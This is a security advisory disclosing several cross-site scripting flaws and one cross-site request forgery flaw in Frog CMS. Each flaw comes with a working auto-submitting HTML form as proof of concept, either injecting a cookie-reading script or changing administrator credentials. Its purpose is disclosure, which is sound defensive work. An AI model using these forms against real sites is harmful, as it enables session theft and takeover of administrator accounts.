Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerability in Frog CMS which could be exploited to perform cross-site scripting and cross-site request forgery attacks.
1) Cross-site scripting (XSS) vulnerabilities in Frog CMS 1.1 The vulnerability exists due to input sanitation error in the "page[keywords]" parameter in frog/app/controllers/PageController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation example: <form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main"> <input type="hidden" name="page[parent_id]" value="1"> <input type="hidden" name="page[title]" value="page title"> <input type="hidden" name="page[slug]" value="sef_url"> <input type="hidden" name="page[breadcrumb]" value="breadcrumbs"> <input type="hidden" name="page[keywords]" value='key"><script>alert(document.cookie)</script>'> <input type="hidden" name="page[description]" value=""> <input type="hidden" name="page_tag[tags]" value=""> <input type="hidden" name="page[created_on]" value="2010-10-25"> <input type="hidden" name="page[created_on_time]" value="23:28:03"> <input type="hidden" name="page[published_on]" value="2010-10-25"> <input type="hidden" name="page[published_on_time]" value="23:28:04"> <input type="hidden" name="part[0][name]" value="body"> <input type="hidden" name="part[0][id]" value="7"> <input type="hidden" name="part[0][filter_id]" value="markdown"> <input type="hidden" name="part[0][content]" value="page content"> <input type="hidden" name="page[layout_id]" value=""> <input type="hidden" name="page[behavior_id]" value=""> <input type="hidden" name="page[status_id]" value="100"> <input type="hidden" name="page[needs_login]" value="2"> <input type="hidden" name="commit" value="Save and Close"> </form> <script> document.main.submit(); </script> 1.2 The vulnerability exists due to input sanitation error in the "setting[admin_title]" parameter in frog/app/controllers/SettingController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation example: <form action="http://host/admin/?/setting" method="post" name="main"> <input type="hidden" name="setting[admin_title]" value='Frog CMS"><script>alert(document.cookie)</script>'> <input type="hidden" name="setting[language]" value="en"> <input type="hidden" name="setting[theme]" value="default"> <input type="hidden" name="setting[default_tab]" value="page"> <input type="hidden" name="setting[default_status_id]" value="1"> <input type="hidden" name="setting[default_filter_id]" value=""> <input type="hidden" name="commit" value="Save"> </form> <script> document.main.submit(); </script> 1.3 The vulnerability exists due to input sanitation error in the "user[email]" parameter in frog/app/controllers/UserController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation example: <form action="http://host/admin/?/user/add" method="post" name="main"> <input type="hidden" name="user[name]" value=""> <input type="hidden" name="user[email]" value='"><script>alert(document.cookie)</script>'> <input type="hidden" name="user[username]" value=""> <input type="hidden" name="user[password]" value=""> <input type="hidden" name="user[confirm]" value=""> <input type="hidden" name="user_permission[editor]" value="3"> <input type="hidden" name="commit" value="Save"> </form> <script> document.main.submit(); </script>
2) Cross-site request forgery (CSRF) in Frog CMS The vulnerability exists due to insufficient validation of the request origin in frog/app/controllers/UserController.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials. Exploitation example: <form action="http://host/admin/?/user/edit/USER_ID" method="post" name="main"> <input type="hidden" name="user[name]" value="username"> <input type="hidden" name="user[email]" value="email@example.com"> <input type="hidden" name="user[password]" value=""> <input type="hidden" name="user[confirm]" value=""> <input type="hidden" name="user_permission[administrator]" value="1"> <input type="hidden" name="user_permission[developer]" value="2"> <input type="hidden" name="user_permission[editor]" value="3"> <input type="hidden" name="commit" value="Save"> </form> <script> document.main.submit(); </script> |
